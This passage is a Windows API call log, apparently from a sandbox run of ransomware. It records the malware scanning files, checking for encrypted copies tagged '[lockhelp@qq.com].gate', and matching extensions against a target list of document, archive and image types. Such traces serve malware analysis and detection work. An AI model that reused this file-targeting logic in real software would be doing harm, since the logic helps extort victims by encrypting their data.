lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10752) returned 1 [0280.263] CloseHandle (hObject=0x3dc) returned 1 [0280.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20 [0280.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.263] lstrlenW (lpString=".doc") returned 4 [0280.263] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.263] lstrlenW (lpString=".docx") returned 5 [0280.264] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.264] lstrlenW (lpString=".pdf") returned 4 [0280.264] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.264] lstrlenW (lpString=".xls") returned 4 [0280.264] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.264] lstrlenW (lpString=".xlsx") returned 5 [0280.264] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.264] lstrlenW (lpString=".ppt") returned 4 [0280.264] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.264] lstrlenW (lpString=".zip") returned 4 [0280.264] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.264] lstrlenW (lpString=".rar") returned 4 [0280.264] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.264] lstrlenW (lpString=".bz2") returned 4 [0280.264] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.264] lstrlenW (lpString=".7z") returned 3 [0280.264] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.264] lstrlenW (lpString=".dbf") returned 4 [0280.264] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.264] lstrlenW (lpString=".1cd") returned 4 [0280.264] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.264] lstrlenW (lpString=".jpg") returned 4 [0280.264] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.264] lstrlenW (lpString=".doc") returned 4 [0280.264] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.264] lstrlenW (lpString=".docx") returned 5 [0280.264] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.265] lstrlenW (lpString=".pdf") returned 4 [0280.265] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.265] lstrlenW (lpString=".xls") returned 4 [0280.265] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.265] lstrlenW (lpString=".xlsx") returned 5 [0280.265] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.265] lstrlenW (lpString=".ppt") returned 4 [0280.265] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.265] lstrlenW (lpString=".zip") returned 4 [0280.265] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.265] lstrlenW (lpString=".rar") returned 4 [0280.265] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.265] lstrlenW (lpString=".bz2") returned 4 [0280.265] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.265] lstrlenW (lpString=".7z") returned 3 [0280.265] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.265] lstrlenW (lpString=".dbf") returned 4 [0280.265] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.265] lstrlenW (lpString=".1cd") returned 4 [0280.265] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72 [0280.265] lstrlenW (lpString=".jpg") returned 4 [0280.265] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.265] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0280.265] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0280.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0280.266] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10752) returned 1 [0280.266] CloseHandle (hObject=0x3dc) returned 1 [0280.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20 [0280.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.266] lstrlenW (lpString=".doc") returned 4 [0280.266] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.266] lstrlenW (lpString=".docx") returned 5 [0280.266] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.266] lstrlenW (lpString=".pdf") returned 4 [0280.266] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.266] lstrlenW (lpString=".xls") returned 4 [0280.266] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.266] lstrlenW (lpString=".xlsx") returned 5 [0280.266] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.266] lstrlenW (lpString=".ppt") returned 4 [0280.266] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.266] lstrlenW (lpString=".zip") returned 4 [0280.266] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.267] lstrlenW (lpString=".rar") returned 4 [0280.267] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.267] lstrlenW (lpString=".bz2") returned 4 [0280.267] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.267] lstrlenW (lpString=".7z") returned 3 [0280.267] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.267] lstrlenW (lpString=".dbf") returned 4 [0280.267] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.267] lstrlenW (lpString=".1cd") returned 4 [0280.267] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.267] lstrlenW (lpString=".jpg") returned 4 [0280.267] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.267] lstrlenW (lpString=".doc") returned 4 [0280.267] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.267] lstrlenW (lpString=".docx") returned 5 [0280.267] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.267] lstrlenW (lpString=".pdf") returned 4 [0280.267] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.267] lstrlenW (lpString=".xls") returned 4 [0280.267] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.267] lstrlenW (lpString=".xlsx") returned 5 [0280.267] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.267] lstrlenW (lpString=".ppt") returned 4 [0280.267] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.267] lstrlenW (lpString=".zip") returned 4 [0280.267] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.267] lstrlenW (lpString=".rar") returned 4 [0280.267] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.268] lstrlenW (lpString=".bz2") returned 4 [0280.268] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.268] lstrlenW (lpString=".7z") returned 3 [0280.268] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.268] lstrlenW (lpString=".dbf") returned 4 [0280.268] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.268] lstrlenW (lpString=".1cd") returned 4 [0280.268] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72 [0280.268] lstrlenW (lpString=".jpg") returned 4 [0280.268] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.268] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0280.268] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0280.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0280.337] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=9728) returned 1 [0280.337] CloseHandle (hObject=0x4ac) returned 1 [0280.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui")) returned 0x20 [0280.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.338] lstrlenW (lpString=".doc") returned 4 [0280.338] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.338] lstrlenW (lpString=".docx") returned 5 [0280.338] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.338] lstrlenW (lpString=".pdf") returned 4 [0280.338] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.338] lstrlenW (lpString=".xls") returned 4 [0280.338] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.338] lstrlenW (lpString=".xlsx") returned 5 [0280.338] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.338] lstrlenW (lpString=".ppt") returned 4 [0280.338] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.338] lstrlenW (lpString=".zip") returned 4 [0280.338] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.338] lstrlenW (lpString=".rar") returned 4 [0280.338] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.338] lstrlenW (lpString=".bz2") returned 4 [0280.338] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.338] lstrlenW (lpString=".7z") returned 3 [0280.338] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.339] lstrlenW (lpString=".dbf") returned 4 [0280.339] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.339] lstrlenW (lpString=".1cd") returned 4 [0280.339] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.339] lstrlenW (lpString=".jpg") returned 4 [0280.339] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.339] lstrlenW (lpString=".doc") returned 4 [0280.339] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.339] lstrlenW (lpString=".docx") returned 5 [0280.339] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.339] lstrlenW (lpString=".pdf") returned 4 [0280.339] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.339] lstrlenW (lpString=".xls") returned 4 [0280.339] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.339] lstrlenW (lpString=".xlsx") returned 5 [0280.339] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.339] lstrlenW (lpString=".ppt") returned 4 [0280.339] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.339] lstrlenW (lpString=".zip") returned 4 [0280.339] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.339] lstrlenW (lpString=".rar") returned 4 [0280.339] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.339] lstrlenW (lpString=".bz2") returned 4 [0280.339] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.339] lstrlenW (lpString=".7z") returned 3 [0280.339] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.340] lstrlenW (lpString=".dbf") returned 4 [0280.340] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.340] lstrlenW (lpString=".1cd") returned 4 [0280.340] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned 72 [0280.340] lstrlenW (lpString=".jpg") returned 4 [0280.340] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.340] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0280.340] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0280.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0280.902] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=23040) returned 1 [0280.902] CloseHandle (hObject=0x4b8) returned 1 [0280.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0280.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.903] lstrlenW (lpString=".doc") returned 4 [0280.903] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.903] lstrlenW (lpString=".docx") returned 5 [0280.903] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.903] lstrlenW (lpString=".pdf") returned 4 [0280.903] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.903] lstrlenW (lpString=".xls") returned 4 [0280.903] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.903] lstrlenW (lpString=".xlsx") returned 5 [0280.903] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.903] lstrlenW (lpString=".ppt") returned 4 [0280.903] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.903] lstrlenW (lpString=".zip") returned 4 [0280.903] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.903] lstrlenW (lpString=".rar") returned 4 [0280.903] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.904] lstrlenW (lpString=".bz2") returned 4 [0280.904] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.904] lstrlenW (lpString=".7z") returned 3 [0280.904] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.904] lstrlenW (lpString=".dbf") returned 4 [0280.904] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.904] lstrlenW (lpString=".1cd") returned 4 [0280.904] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.904] lstrlenW (lpString=".jpg") returned 4 [0280.904] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.904] lstrlenW (lpString=".doc") returned 4 [0280.904] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0280.904] lstrlenW (lpString=".docx") returned 5 [0280.904] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0280.904] lstrlenW (lpString=".pdf") returned 4 [0280.904] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0280.904] lstrlenW (lpString=".xls") returned 4 [0280.904] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0280.904] lstrlenW (lpString=".xlsx") returned 5 [0280.904] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0280.904] lstrlenW (lpString=".ppt") returned 4 [0280.905] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0280.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.905] lstrlenW (lpString=".zip") returned 4 [0280.905] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0280.905] lstrlenW (lpString=".rar") returned 4 [0280.905] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0280.905] lstrlenW (lpString=".bz2") returned 4 [0280.905] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0280.905] lstrlenW (lpString=".7z") returned 3 [0280.905] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0280.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.905] lstrlenW (lpString=".dbf") returned 4 [0280.905] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0280.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.905] lstrlenW (lpString=".1cd") returned 4 [0280.905] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0280.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0280.905] lstrlenW (lpString=".jpg") returned 4 [0280.905] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0280.905] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0280.905] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22 [0280.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0281.437] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=44032) returned 1 [0281.437] CloseHandle (hObject=0x4a4) returned 1 [0281.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0281.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.438] lstrlenW (lpString=".doc") returned 4 [0281.438] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.438] lstrlenW (lpString=".docx") returned 5 [0281.438] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0281.438] lstrlenW (lpString=".pdf") returned 4 [0281.438] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.438] lstrlenW (lpString=".xls") returned 4 [0281.438] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.438] lstrlenW (lpString=".xlsx") returned 5 [0281.438] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0281.438] lstrlenW (lpString=".ppt") returned 4 [0281.438] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.438] lstrlenW (lpString=".zip") returned 4 [0281.438] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.438] lstrlenW (lpString=".rar") returned 4 [0281.438] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.438] lstrlenW (lpString=".bz2") returned 4 [0281.438] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.438] lstrlenW (lpString=".7z") returned 3 [0281.438] lstrcmpiW 